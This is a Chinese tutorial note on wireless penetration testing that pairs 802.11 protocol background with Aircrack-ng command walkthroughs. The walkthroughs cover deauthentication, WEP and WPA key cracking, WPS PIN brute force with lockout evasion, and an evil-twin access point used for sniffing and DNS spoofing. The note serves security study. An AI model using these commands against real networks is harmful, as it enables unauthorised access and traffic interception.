Kali Linux渗透测试——无线渗透

笔记内容参考安全牛课堂苑房弘老师的Kali Linux渗透测试教程,以及文章:
https://blog.csdn.net/qq_38265137/article/details/80370554
https://blog.csdn.net/lee244868149/article/details/52691266

文章目录

    • 一、基本概念
      • (一)IEEE 802.11协议族
      • (二)WLAN拓扑
        • 1.Infrastructure
        • 2.AD-HOC
        • 3.WDS
        • 4.MESH
      • (三)无线网卡选择
        • 1.芯片品牌
        • 2.兼容性
    • 二、抓包分析
      • (一)开启监听
      • (二)帧头分析
        • 1.Radiotap Header
        • 2.802.11 Header
      • (三)帧类型
        • 1.控制帧(Control Frame)
        • 2.管理帧(Management Frame)
        • 3.数据帧(Data Frame)
      • (四)加密类型
        • 1.WEP
        • 2.WPA / WPA2
    • 三、Aircrack-ng
      • (一)基本使用
        • 1.Airmon-ng
        • 2.Airodump-ng
        • 3.Aireplay-ng
        • 4.Airbase-ng
        • 5.Airdecap-ng
        • 6.Airserv-ng
        • 7.Airtun-ng
        • 8.其他工具
      • (二)攻击场景
        • 1.MAC地址绑定攻击
        • 2.WEP攻击
        • 3.WPA个人攻击
        • 4.WPS攻击
        • 5.Evil Twin AP、Rogue AP

一、基本概念

根据美国通信委员会(FCC,Federal Communications Commission)网络安全工作组在一份白皮书中的表述,常见的无线通信技术可以分为移动通信、WWAN、WLAN、WPAN,如图1所示。这里只介绍WLAN中IEEE 802.11相关部分。

Kali Linux渗透测试——无线渗透_第1张图片

图1 常见无线通信技术分类

(一)IEEE 802.11协议族

IEEE 802又称为LMSC(LAN/MAN Standards Committee,局域网/城域网标准委员会),用于研究局域网和城域网的物理层和MAC层中定义的服务和协议,对应OSI网络参考模型的最低两层(即物理层和数据链路层)。部分IEEE 802标准如图2所示:

Kali Linux渗透测试——无线渗透_第2张图片

图2 IEEE 802标准

IEEE 802.11是1997年802委员会下第11组开发的无线局域网标准,定义了无线数据包的 物理层和链路层 ,也是802.11协议族的第一个标准,其物理层定义了工作在2.4GHz的ISM频段上的直接序列扩频(DSSS)、跳频扩频(FHSS)和一种红外线传输的方式(未实现),链路层采用CSMA/CA协议,最高速率2Mbps,随后发展的协议为其改进版本,常用的一些802.11标准如图3所示:
Kali Linux渗透测试——无线渗透_第3张图片

图3 常见802.11标准

1.802.11b
采用补码键控(CCK),速率5.5或11Mbps,在2.4GHz频段划分14个重叠的信道(每个国家有所不同,美国11个,欧洲13个,日本14个),如图4所示,只有三个不重叠信道,最常用的是1、6、11,每个信道22MHz带宽,注意信道的使用情况与具体的调制方式相关,并不是信道重叠就一定会影响信息传输Wi-Fi是802.11b产品的注册商标,严格来说只针对符合802.11b标准的产品。
Kali Linux渗透测试——无线渗透_第4张图片

图4 802.11b信道使用情况

2.802.11a
工作在5GHz,其中5.15-5.35GHz用于室内,5.7-5.8 GHz用于室外,每个信道20MHz带宽,采用正交频分复用调制(OFDM),注意此时信道间有重叠,但满足频域正交,其信息是互不干扰的,也正因此其速率可以达到54Mbps。2.4GHz频段干扰源多(微薄、蓝牙、无绳电话等),5GHz有更多带宽空间,可容纳更多不重叠信道。

3.802.11g
工作在2.4GHz频段,每个信道20/22MHz带宽,采用OFDM调制,与802.11a速率相同,可全局降速向后兼容802.11b,并切换为CCK信号调制方法。

4.802.11n
双频工作模式,工作在2.4GHz或5GHz频段,每个信道20/40MHz,全面兼容802.11a/b/g,通过帧聚合和块确认技术改善MAC层开销及拥塞状况,采用多进多出天线技术(MIMO),极大增加了传输的可靠性,扩大了吞吐量,同时结合OFDM技术,最大可达600Mbps。

5.802.11ac
工作在5GHz频段,采用更高的带宽(提升至160MHz)、更多的MIMO空间流、更高阶的调制(达到 256QAM),以及多用户MU-MIMO技术(802.11ac wave2开始采用),进一步提高效率和可靠性,全面兼容旧版本协议,提供更高的吞吐量、更多的用户接入能力、更少的干扰,802.11ac wave2最大可支持3.47Gbps。

(二)WLAN拓扑

1.Infrastructure

至少包含一个AP和一个STATION,形成Basic Service Set (BSS),AP连接到有线网络,称为Distribution System (DS),DS采用以太网标准(IEEE 802.3),连接到同一个DS的多个AP形成一个Extended Service Set (ESS)。由AP维护SSID,每秒钟通过Beacon帧广播约10次SSID,客户端连接到无线网络后也会宣告SSID。

Kali Linux渗透测试——无线渗透_第5张图片

图5 Infrastructure网络拓扑

2.AD-HOC

也被称为Independent Basic Service Set (IBSS),有至少两个STATION直接通信组成,也成为Peer to Peer模式,其中一个STATION负责AP工作:广播SSID,并对其他STA进行身份验证。这种拓扑结构比较适合小规模、小范围的WLAN系统组网。
Kali Linux渗透测试——无线渗透_第6张图片

图6 AD-HOC网络拓扑

3.WDS

通过无线形式连接的多个AP组成的网络为WDS,STA之间通信的消息必须通过AP转发,而不是直接发送。AP之间通信有桥接(Bridging)和中继(Repeating)两种方式,桥接会出现两个单独的SSID,即使SSID设置成一样,还是会显示出多个,其本质是连接两个或者多个不同的网络,而中继不管连多少个网桥,SSID只有一个,其本质是扩大一个网络的覆盖范围。

Kali Linux渗透测试——无线渗透_第7张图片

图7 WDS网络拓扑

4.MESH

Mesh网络AP之间通过无线连接,节点部署简便迅速,Mesh是一个对等网络,如果某个节点发生故障,报文信息会通过其他备用路径传送到目的节点。AP可以根据需要随时加入或离开网络,这使得网络更加灵活。Mesh网络中,只有Portal节点需要接入到有线网络,对有线的依赖程度被降到了最低。
如图8所示,MESH节点包括:

  • MPP(Mesh Portal Point):连接无线Mesh网络和其它类型的网络,并与Mesh网络内部MP/MAP节点进行通信。这个节点具有Portal功能,通过这个节点,Mesh内部的节点可以和外部网络通信。
  • MP(Mesh Point):在Mesh网络中,使用IEEE 802.11MAC和PHY协议进行无线通信,并且支持Mesh功能的节点。该节点支持自动拓扑、路由的自动发现、数据包的转发等功能。MP节点可以同时提供Mesh服务和用户接入服务。
  • MAP(Mesh Access Point):任何支持AP功能的Mesh Point,可以为STA提供接入功能。

Kali Linux渗透测试——无线渗透_第8张图片

图8 MESH网络拓扑

注:实际使用中大多数无线网络都是结合了一种或多种不同拓扑结构的混合体。

(三)无线网卡选择

虚拟机不能桥接使用物理机的无线网卡(会将无线网卡识别为以太网卡),必须使用外置网卡。无线网卡的选择是无线渗透成败的关键,必须谨慎选择。无线渗透网卡没有所谓的标准,网卡选择参考Aircrack-ng官网有关兼容性(compatibility)的说明文档。无线网卡选择需要注意:

1.芯片品牌

无线网卡品牌有两种,一个是无线网卡的品牌,如TP-LINK、D-Link、Tenda、Netgear、Linksys等,另一个是无线网卡内置芯片品牌,如Realtek、Ralink、Atheros、 Qualcomm、Broadcom等,要根据无线网卡 内置芯片的品牌和具体型号 来决定适配个人需求的无线网卡以及相应的驱动。对于已经使用的产品,可以通过以下方式确定品牌及型号:

  • Windows根据设备管理器中的驱动信息确定品牌型号,或者在cmd中用systeminfo查看系统信息
  • Linux用dmesglsusbiwconfig查看网卡信息

2.兼容性

(1) 关于MONITOR MODE

  • 对无线渗透至关重要,允许无线网卡没有任何筛选的抓包(包括802.11帧头),相当于有线网络的混杂模式
  • 适合的网卡和驱动不但可以monitor,还可以injection

(2) 查询网卡的兼容性:

  • 根据品牌及具体型号在网上搜索产品信息
  • Aircrack-ng论坛
  • Aircrack-ng官网有关兼容性(compatibility)的说明文档
  • 内置芯片的官网文档

(2) 下载安装网卡驱动:

  • 根据品牌及具体型号在网上查阅驱动信息
  • 内置芯片的官网网站
  • GitHub
注:
① 天线的接收增益并不是越高越好,增益越高噪声越多,功耗越大,干扰越大,适当降低增益信号可能更好;
② 外置网卡映射到虚拟机时常不稳定导致不能正常识别,或系统卡死,此时可尝试将无线网卡重新插拔;
③ dB和dBm的区别,dB是两个信号间的差异比率,是相对值,当考虑甲的功率相比于乙功率大或小多少个dB时,按10lg(甲功率/乙功率)计算,当考虑甲的电压相比于乙电压大或小多少个dB时,要用20log(甲电压/乙电压);dBm是功率与1mW进行比较的结果,是确定值,dB power = 10log(signal/reference)

二、抓包分析

(一)开启监听

不同厂商的无线网卡开启监听模式有所差异,具体还要参阅相关文档资料。 我开始使用的是RTL8812AU,它就仅支持将wlan0设置为monitor,不支持新建interface wlan0mon然后设置成monitor。

  • 对于大多数兼容的网卡,可以在wlan0上添加interface wlan0mon,wlan0mon设置为monitor mode,wlan0选择其他模式或者关闭:
iwconfig                        # 查看无线网卡信息

iw list                         # 查看无线网卡信息、技术支持情况,非常详细

iw dev wlan2 scan               # 扫描无线信号,列出详细参数信息
iw dev wlan2 scan | egrep 'SSID | Channel' # 查找SSID以及其占用的信道

systemctl stop network-manger   # 无线网卡monitor模式可能与network-manager服务冲突,关闭network-manager服务
ip link set wlan0 up            # 打开网卡
iw dev wlan0 interface add wlan0mon type monitor # 添加网卡侦听端口wlan2mon并设置为monitor模式,必须命名为wlanxmon形式
ip link set wlan0mon up         # 打开侦听端口,然后就可以利用tcpdump、wireshark等抓包工具通过wlan0mon进行抓包分析

iw dev wlan0mon interface del   # 删除无线网卡 
  • 对于RTL8812AU,只能在wlan0基础上设置为monitor:
ip link set wlan0 down
iw dev wlan0 set type monitor
ip link set wlan0 up

(二)帧头分析

1.Radiotap Header

802.11ׁ依赖Radiotap完成通信,Radiotap为802.11帧传递额外信息,已成为802.11帧通信事实上的标准,系统在驱动和API中内建支持Radiotap。

Radiotap Header结构如下:

Version Pad Length Present
8bit 8bit 16bit 32bit
  • Version:一般为0
  • Pad:作为字段占位未使用
  • Length:Radiotap Header长度,不能解析的头部可直接跳到802.11帧
  • Present:Data段掩码,对应位为1则表示有信息,因此Radiotap Header长度是不确定的

用wireshark抓包分析Radiotap Header,如图9所示,Present部分Flags、Rate、Channel、dBm Antenna Signal、Antenna、RX flags掩码为1,其对应的信息跟在Present后边。

Kali Linux渗透测试——无线渗透_第9张图片

图9 Radiotap Header抓包分析

2.802.11 Header

802.11帧结构如图10所示:

Kali Linux渗透测试——无线渗透_第10张图片

图10 802.11帧结构

其中Header中的Frame control包含了帧的重要信息,每个字段含义如下:
  • Protocol Version(2bit):为协议版本
  • Type(2bit):帧类型,控制帧(01)、数据帧(10)、管理帧(00)
  • Subtype(4bit):每个类型的帧对应的子类型
  • To DS/From DS(1/1bit):标识帧的传输方向,传向DS或来自DS,其值决定了802.11帧Header中Address1~4的不同定义,00表示不通过AP,01表示从AP传向STA,10表示从STA传向AP,11表示两个AP间通信,如下图所示:
    Kali Linux渗透测试——无线渗透_第11张图片

图11 ToDs/FromDs与Address对应关系

  • More Fragment(1bit):表示是否还有后续分段的帧,只有单播帧会分段
  • Retry(1bit):重传,接收端进程使用此值防止帧重复
  • Power Managenment(1bit):活动模式(0)、省电模式(1),STA处于省电模式时向AP发送该值为1的帧,AP不使用此字段,省电模式STA不接收数据,发送给它的数据由AP暂时缓存
  • More Data(1bit):当AP缓存了至少一个数据单元时,向省电模式的STA发送该值为1的帧,表示有数据要传,相应STA唤醒自己并向AP发送PS-Poll帧,取回AP为其缓存的数据。
  • WEP(1bit):表示数据单元是否被加密,当数据载荷为空时,该字段为0
  • Order(1bit):非QoS帧情况下,表示是否严格按顺序处理
  • Duration/ID(16bit):所有控制帧都使用该字段,其作用随Type/SubType变化而不同,帧类型为PS Poll (type:1,subtype:10) 时,表示STA关联的AID(AP发给STA的识别码),其他情况该字段作为一种载波侦听机制,表示接收下一帧之前需要保持的时间间隔,单位微秒
  • Sequence Control(16bit):包括两个字段Sequence Number和Fragment Number,Sequence Number是每个帧的编号,Fragment Number是同一帧中不同分段的编号
  • FCS(32bit):发送端对帧的所有内容进行CRC计算,所得结果即为FCS,接收端进行同样计算,结果一致时接收该帧并返回ACK,否则丢弃该帧(只对单播帧有效,FCS错误的广播、多播帧可能被接受)
  • Data(变长):数据字段,不同的加密算法会增加一定内容长度,控制帧没有Data内容

(三)帧类型

1.控制帧(Control Frame)

用于通知设备开始、停止传输或连接失败等情况,控制帧类型如下所示:

Kali Linux渗透测试——无线渗透_第12张图片

图12 控制帧类型

  • ACK:接收端收到单播帧后立即回复ACK确认,多播、广播无需回复
  • PS-Poll:AP会通过广播Beacon帧,根据AID唤醒处于省电模式的STA,STA继而发送PS-Poll帧,请求从AP缓存取回数据,传输结束后恢复省电模式
  • RTS/CTS:作为CSMA/CA的一种补充手段,避免隐蔽站的问题,进一步降低冲突产生的可能性,在正式通信前通过请求应答机制确定通信介质的可用性,只有在传输长帧时使用,传输短帧时不使用。Node1在给Node2发送数据前先发送RTS,如果不发生冲突,Node2回复CTS给Node2,然后开始数据传输

2.管理帧(Management Frame)

用于协商、控制STA和AP之间的关系,管理帧类型如下所示:

Kali Linux渗透测试——无线渗透_第13张图片

图13 管理帧类型

  • Beacon:AP发送的广播帧,主要用于广播SSID,发包间隔时间默认为102.4ms(可变)
  • Probe:STA通过广播Probe Request帧,发现连接过的和未连接过的的AP,AP根据Request帧中的ESSID、速率等参数信息,通过Probe Response回复
  • Authentication:身份认证帧,身份认证过程有多个帧交换过程组成
  • Association/Re-association:身份认证后,STA通过Association/Re-association Request执行关联操作,加入无线网络,AP回复Association/Re-association Response,状态码显示成功或失败
  • Disassociation/Deauthentication:由AP发出解除关联或认证

3.数据帧(Data Frame)

用于传输通信数据、服务质量控制数据等,数据帧类型如下所示:

Kali Linux渗透测试——无线渗透_第14张图片

图14 数据帧类型

  • Data:传输用户数据
  • Null Function:STA用于声明自己将要进入省电模式

(四)加密类型

认证过程中包含WEP、WPA/WPA2两类加密方案,如下所示:

1.WEP

WEP身份认证的前提是STA和AP都有配置静态的WEP秘钥,认证的目的就是确认两者使用的秘钥是否一致。WEP加密方案中STA和AP建立关系的完整过程为:

① AP定期发送Beacon,使STA更新自己的无线网络列表
② STA在每个信道广播Probe Request(非隐藏类型含ESSID,隐藏类型不含ESSID)
③ 每个信道的AP回应Probe Response,包含ESSID信息
④ STA发送Authentication Request给AP
⑤ AP回复STA Acknowledge,其中包含了Challenge随机数(明文)
⑥ STA使用Keystream和Challenge抑或加密,并用Authentication Request发送给AP
⑦ AP对Challenge进行解密,如果解密的明文一致则表示认证成功并回复Acknowledge
⑧ STA给AP发送关联请求Association Request
⑨ AP给无线终端发送关联响应Association Response
⑩ 完成认证,进行加密通信


Kali Linux渗透测试——无线渗透_第15张图片

图15 WEP密钥交换过程

WEP使用RC4算法加密流量内容,CRC32算法检查数据完整性,使用24bit初始向量IV。加密过程如图16所示:

Kali Linux渗透测试——无线渗透_第16张图片

图16 WEP加密流程

IV是动态生成的24bit随机数初始向量,它和WEP key结合生成随机种子seed (64/128bits, IV+WEP key)然后运用RC4算法生成秘钥流Keystream;另一边,对需要加密的明文进行CRC-32运算,生成 ICV(32位),然后将这个 ICV 追加到 plaintext的后面,将尾部有 ICV的plaintext 与Keystream进行异或运算,得到加密数据,将 IV 添加到加密数据的前面,进行传送。RC4是对称加密算法,解密是加密逆运算过程。WEP安全性差,可以在短时间内将其破解,已被淘汰。

2.WPA / WPA2

WPA1 / WPA2是802.11i组为提高无线安全,开发的两个新的加密方案,WPA1在安全性能上较WEP已有巨大的提,WPA2进一步提高了安全性能,两个版本差别主要在于加密套件不同。

区分1:WPA1 WPA2

  • WPA1:802.11i第三版草案,采用TKIP加密套件,使用128位Key和48位IV,RC4加密算法,采用帧计数器避免重放攻击,MIC作为完整性校验,兼容早期版本硬件。

  • WPA2:802.11i完全重新设计实现,采用CCMP加密套件,使用AES加密算法,不兼容早期版本硬件。

区分2:WPA企业 WPA个人

  • WPA个人使用预设的预共享密钥(WPA-PSK),通过EAPOL协议实现身份认证,适用于家庭环境
  • WPA企业使用EAPOL协议(IEEE 802.1X认证标准)和Radius服务器实现AAA,适用于企业等高安全性环境,IEEE 802.1X认证如图17所示,STA到AP的认证过程采用EAP,AP到AAA服务器认证采用Radius。、

Kali Linux渗透测试——无线渗透_第17张图片

图17 802.1X认证标准

(1)认证过程

WPA加密方案中STA和AP建立关系的完整过程为:

① AP定期发送Beacon,使STA更新自己的无线网络列表
② STA在每个信道广播Probe Request(非隐藏类型含ESSID,隐藏类型不含ESSID)
③ 每个信道的AP回应Probe Response,包含ESSID信息
④ STA给目标AP发送身份认证Authentication,Authentication类型有两种,0为开放式(无密码、WPA/WPA2)、1为共享式(WEP)
⑤ AP回复STA Acknowledge
⑥ STA给AP发送关联请求Association Request
⑦ AP给无线终端发送关联响应Association Response
⑧ 通过EAPOL协议四次握手密钥交换(破解的关键)
⑨ 完成认证,进行加密通信

(2)四次握手过程
WPA在身份认证过程中使用的密钥主要是 PTK(Pairwise Key)GTK(Group Key),PTK用于STA和AP之间单播通信,GTK用于STA之间以及与AP之间的组播、广播通信。密钥交换要进行四步握手生成PTK、GTK,基本过程如下:

Kali Linux渗透测试——无线渗透_第18张图片

图18 WPA密钥交换过程


Kali Linux渗透测试——无线渗透_第19张图片

图19 WPA密钥交换过程抓包

① AP发送随机数Anonce给STA,STA生成Snonce,根据ESSID、PSK生成PMK,然后由PMK、Anonce、Snonce、MAC信息计算出PTK;
② STA将Snonce以及PTK的MIC一并发给AP,AP采用同样算法计算PTK并根据MIC进行校验;
③ AP计算GTK,并将用PTK加密过的GTK以及MIC一并发给STA;
④ STA收到GTK后计算MIC,比对成功后回复ACK。

注:Authentication包中的Authentication SEQ和WPA四次握手包中的Message number都是序列,但意义不同。

三、Aircrack-ng

无线渗透和审计神器,包含各种功能的工具套件,主要是网络检测嗅探抓包包注入密码破解

(一)基本使用

1.Airmon-ng

开启网卡监听模式

airmon-ng check       # 检查网卡驱动,显示一些可能影响监听模式网卡工作的进程
arimon-ng check kill  # 杀死可能影响监听模式网卡工作的进程

airmon-ng start wlan0 # 将wlan0置入监听模式,和之前iw命令作用一样

2.Airodump-ng

嗅探抓包,默认在各个无线信道轮询抓包,也可以指定信道

airodump-ng wlan0     # 使监听模式的网卡开始嗅探抓包 

airodump-ng wlan0 -c 1 --bssid e4:d3:df:ff -w file.cap # -c:指定嗅探的信道,--bssid:指定AP的MAC地址

airodump抓包数据如下所示:

Kali Linux渗透测试——无线渗透_第20张图片

图19 Airodump-ng监听数据

第一列是AP的信息,其中MB表示AP支持的最大速率,#Data表示嗅探的数帧数量,#/s表示最近10秒内,每秒平均抓到的帧的数量,ESSID如果被隐藏则只会显示长度;

第二列是STA的信息,其中BSSID是关联AP的MAC地址,(not associated)表示未与AP关联的STA,但是STA发送的probe包被抓到,Lost判断最近10秒STA发送丢失的数据包数量,Probes是STA发送probe包中的信息。

3.Aireplay-ng

向无线网络中注入数据包,注意命令中的分为 ,前者规定了802.11头的信息参数,后者规定了信息重放的参数。aireplay-ng有9种Attack modes,具体见help文档。

aireplay-ng -9 wlan0           
# 检测包注入环境

aireplay-ng -9 -e myWiFi -a EC:29:0F:FF:D5:E4 
# 指定检测ESSID和AP MAC地址的注入环境

aireplay-ng -i Ap_wlan1 wlan0  
# 双网卡环境下做card to card测试1-9攻击包是否能正常发送

aireplay-ng -0 2 -a <AP_MAC> -c <STA_MAC> wlan0 
# 发送2个伪造STA发给AP的Deauthenticate包

4.Airbase-ng

伪造AP接入点,诱使STA接入,可以获取身份验证握手包。

airmon-ng check kill
iw dev wlan0 set type monitor
# 注意这里必须用iw命令将wlan0置于monitor模式
# 否则会报错出现:“write failed: Message too long,wi_write(): Message too long”

airbase-ng --essid CMCC -c 11 wlan0 
# 伪造开放AP

airbase-ng --essid CMCC -c 11 wlan0 -Z 2
airbase-ng --essid CMCC -c 11 wlan0 -Z 4 
# 伪造AP
# -Z 2:表示WPA2加密,TKIP加密套件
# -Z 4:表示WPA2加密,CCMP加密套件

5.Airdecap-ng

无线抓包帧头为802.11,其网络层、传输层、应用层数据是加密状态,如果提取到了无线密码,则可以利用airdecap-ng去掉802.11头,还原被无线加密的上层数据。

airdecap-ng -b <AP MAC> 1.pcap
# 去除802.11头

airdecap-ng -w <WEP key> -b <AP MAC> 1.pcap
# 解密WEP加密数据
# 必须有与AP建立关联关系

airdecap-ng -e <ESSID> -p <PSK> -b <AP MAC> 1.pcap
# 解密WPA加密数据
# 抓包文件中必须包含4步握手信息

6.Airserv-ng

通过网络提供无线网卡服务器,使远程主机可以利用本地无线网卡监听本地WLAN数据。

# 服务器端
airserv-ng -p 3333 -d wlan0

# 客户端
airodump-ng <SERVER_IP>:3333

注意:
1.某些网卡可能不支持客户端/服务器(C/S)模式
2.远程进行连接时注意边界防火墙的过滤

7.Airtun-ng

创建无线隧道,主要实现无线IDS和中继/重放功能:

(1)无线IDS (wIDS)

对无线流量可以交给IDS实时解包分析,或者先保存抓包文件,后续交给IDS再重放进行分析。

airtun-ng -a <AP MAC> -w <WEP key> wlan0
# 建立隧道,侦听WEP加密的无线数据

airtun-ng -a <AP MAC> -p <PSK> -e <ESSID> wlan0
# 建立隧道,侦听WPA加密的无线数据

ip link set at0 up
# 建立隧道后会建立侦听接口at0,开启at0
# 接收到握手信息后才会正常抓取无线解密的数据包
# 利用at0抓包后交给IDS实时分析,或抓包保存后续再重放进行分析
# 理论上支持多AP的wIDS,但2个以上时可靠性会下降

(2)中继/重放 (Repeate/Replay)

① Repeate:扩大无线信号覆盖范围,需要两块无线网卡置入监听模式,网卡之间桥接,网卡1接收到的数据包通过网卡2发送

arimon-ng start wlan0
airmon-ng start wlan1

airtun-ng -a <AP Source MAC> --repeat  --bssid <AP Source MAC> -i wlan0
wlan1
# -a :发包的源地址
# --bssid :过滤只转发指定源地址的包
# wlan0:收包网卡
# wlan1:发包网卡

② Replay:将抓取的CAP文件重放到制定网卡,只需要一个网卡

airtun-ng -a <AP Source MAC> -r 1.cap <interface>

8.其他工具

(1)Fern WiFi Cracker

集成Aircrack-ng、Reaver等工具,完全图形化操作界面。注意在运行Fern WiFi Cracker之前要使用airmon-ng check kill杀掉可能影响网卡切换监听模式的进程。

(2)Kismet

基于浏览器/服务器(B/S)架构,网页操作界面,结合GPS模块,可以将收集的无线数据导入谷歌地球等地图软件中,结合地图显示无线信息。

注:图形界面会消耗一定系统资源,对无线扫描和破解性能会造成一定影响。

(二)攻击场景

1.MAC地址绑定攻击

思路: airodump侦听数据包,发现正常建立连接的设备,复制其MAC地址,作为伪造的MAC地址,就可以绕过MAC地址过滤,但是这种方法会有丢包,因为局域网中MAC地址有重复

airmon-ng stop wlan0
ip link set wlan0 down

macchanger -m 12:34:56:78 wlan0 
# 将网卡wlan0的MAC地址修改为12:34:56:78

ip link set wlan0 up

2.WEP攻击

思路:WEP认证过程中会传递Challenge明文和密文,两者抑或即可得出Keystream,利用Keystream可以和AP建立连接,然后重放大量ARP包,以嗅探IV(64位建议抓取25W以上,128位建议抓取150W以上,以airodump-ng界面的#Data计数),只要IV数量足够多就可以百分百分析出共享密钥。

第一阶段:获取Keystream,Keystream获取后在airodump界面有所显示

airmon-ng start wlan0

aireplay-ng -0 2 -a 12:34:56:78 -c A1:B2:C3:D4 wlan0
# 伪造STA(A1:B2:C3:D4)发给AP(12:34:56:78)的Deauthenticate
# 以让STA和AP通过Authentication重新认证,以此提高获取Keystream的效率
# 获取到的Keystream文件后缀为.xor

第二阶段:通过Keystream与AP建立连接

aireplay-ng -1 60 -e myWiFi -y wep-12-56-FF-AB-32-B6-DB.xor -a 12:34:56:78 -h AA:BB:CC:DD
# 利用抓取到的Keystream文件伪造Authentication,使攻击者STA(MAC:AA:BB:CC:DD)与AP(12:34:56:78)建立连接,每60秒发一个keep alive包

第三阶段:重放ARP Request,获取大量IV,破解密钥

aireplay-ng -3 -b 12:34:56:78 -h AA:BB:CC:DD wlan0
# 重放ARP请求,只有当捕获到合法APR Request和Response时才会不断重放

aireplay-ng -0 2 -a 12:34:56:78 -c A1:B2:C3:D4 wlan0
# 使STA和AP通过Deauthentication重新认证,以重新进行ARP请求
# 这样会使aireplay捕获到合法ARP,ARP中有IV,作为破解分析的凭证

aircrack-ng wep-01.cap
# 利用嗅探的数据包破解共享密钥

3.WPA个人攻击

针对WAP个人,只有一种破解方法——基于字典的暴力破解

思路一:在AP和STA已建立连接的环境中,抓包获取密钥交换四步握手信息,使用字典暴力破解

使用尽可能多的过滤规则对目标AP进行抓包

airodump-ng --bssid 12:34:56:78 -c 1 wlan0 -w wpa-01.cap

aireplay-ng -0 2 -a 12:34:56:78 -c A1:B2:C3:D4 wlan0

当抓到密钥交换四步握手后,会出现WPA handshake,如下所示:

Kali Linux渗透测试——无线渗透_第21张图片

图20 嗅探WPA四步握手包

最后进行密码爆破,成功与否取决于字典质量和运行速度

aircrack-ng -w /usr/share/wordlist/rockyou.list wpa-01.cap

思路二:在只有STA存在的环境中,利用其发的Probe Request中的信息,伪造AP,抓包获取密钥交换四步握手信息,最后使用字典暴力破解

airmon-ng check kill
iw dev wlan0 set type monitor

airbase-ng --essid CMCC -c 11 wlan0 -Z 2
airbase-ng --essid CMCC -c 11 wlan0 -Z 4 
# 伪造AP
# -Z 2:表示WPA2加密,TKIP加密套件
# -Z 4:表示WPA2加密,CCMP加密套件

airodump-ng --bssid 12:34:56:78 -c 11 wlan0 -w wpa-02.cap
aireplay-ng -0 2 -a 12:34:56:78 -c A1:B2:C3:D4 wlan0

aircrack-ng -w /usr/share/wordlist/rockyou.list wpa-02.cap

WPA破解过程中更为重要的是提高密码破解效率,可以利用其他工具如:

  • John the Ripper:基于规则扩展密码字典,在配置文件/etc/john/john.conf中配置规则,如在[List.Rules:Wordlist]规则末尾加上$[0-9]$[0-9]$[0-9]$[0-9],表示在已有字典中符号末尾添加4位0-9的数字。
john --wordlist=pass.list --rules --stdout | aircrack-ng -e myWiFi -w - wpa.cap
# - 表示管道符号前的标准输出

4.WPS攻击

WPS是WiFi联盟2006年开发的一项技术,通过PIN码简化无线接入的过程,无需输入复杂的密码,路由器和网卡各安一个按钮就能接入无线,PIN码是分为前后各4位的2段,共8位数字,在身份验证过程中两段相对独立。其安全性能存在较大隐患:

  • 身份验证过程中,STA可以根据AP返回信息判断前4位是否正确,而后4位中,最后一位是checksum,所以爆破PIN码只需要11000次尝试;

  • 很多厂家的无线路由器无法关闭WPS功能,即便在Web配置界面关闭,一般也不会生效;

  • WPS标准本身没有设计锁定机制,但出于安全考虑,大多数厂商已设定锁定机制,或者不支持WPS;

  • PIN码破解难度较低,防御困难,可以利用PIN码一次性提取PSK。

思路:使用扫描工具发现支持WPS的AP,然后使用工具直接爆破。

爆破时注意限速,绕过锁定机制,一旦触发锁定,可尝试耗尽AP连接数,令其重启并解除WPS锁定。

发现支持WPS的AP

airodump-ng wlan0 --wps

爆破PIN码

reaver -i wlan0 -b 12:34:56:78 -c 11 -vv
# 爆破PIN码,然后爆破PSK
 
reaver -i wlan0 -b 12:34:56:78 -vv -p 88888888
# -p:指定PIN码,爆破PSK

利用综合工具:Wifite

Wifite是一款自动化无线密码破解工具,调用aircrack-ng、pyrit、reaver、tshark等工具对无线网络进行审计,全自动化过程,傻瓜式操作。使用wifite命令后进入信号扫描界面,找到AP目标后ctrl+c停止扫描,输入AP目标的序号,然后Wifite自动调用工具进行破解,其会先用WPS破解,如果破解失败则会采用WPA或WEP方式进行破解,整个过程完全自动化完成。

5.Evil Twin AP、Rogue AP

思路:配置双网卡,网卡1伪造AP,网卡2连接真实网络,同时设置双网卡为桥接状态,诱使目标接入伪造AP,然后使用工具对网卡1进行嗅探或DNS欺骗等攻击。

airbase-ng -a <AP MAC> --essid “CMCC-Free” -c 11 wlan0
# 用wlan0创建名为“CMCC-Free”的AP,新建的网卡接口默认为at0
# MAC地址指定为,与真实AP相同可提高伪造AP的隐蔽性

apt-get install bridge-utils
# 下载桥接工具套件

brctl addbr bridge
# 创建网桥

brctl addif bridge eth0
# 配置网桥一端接口为eth0

brctl addif bridge at0
# 配置网桥另一端接口为wlan0

ip add del <IP_ADDR_ETH0> dev eth0
ip addr del <IP_ADDR_AT0> dev at0
# 将eth0和at0现有IP删除
# 作为桥接网卡成员不能有IP地址

ip link set eth0 up
ip link set at0 up

ip addr add IP_<IP_ADDR_ETH0> dev bridge
ip link set bridge up
# 分配给网桥bridge IP地址

ip route add default via <GW_IP> 
# 添加网关IP

echo 1 > /proc/sys/net/ipv4/ip_forward
# 开启IP转发功能

然后可以利用tcpdump、wireshark等抓包工具嗅探at0接口,或者使用dnsspoof等工具进行域名欺骗等攻击

你可能感兴趣的:(Kali,Linux渗透测试)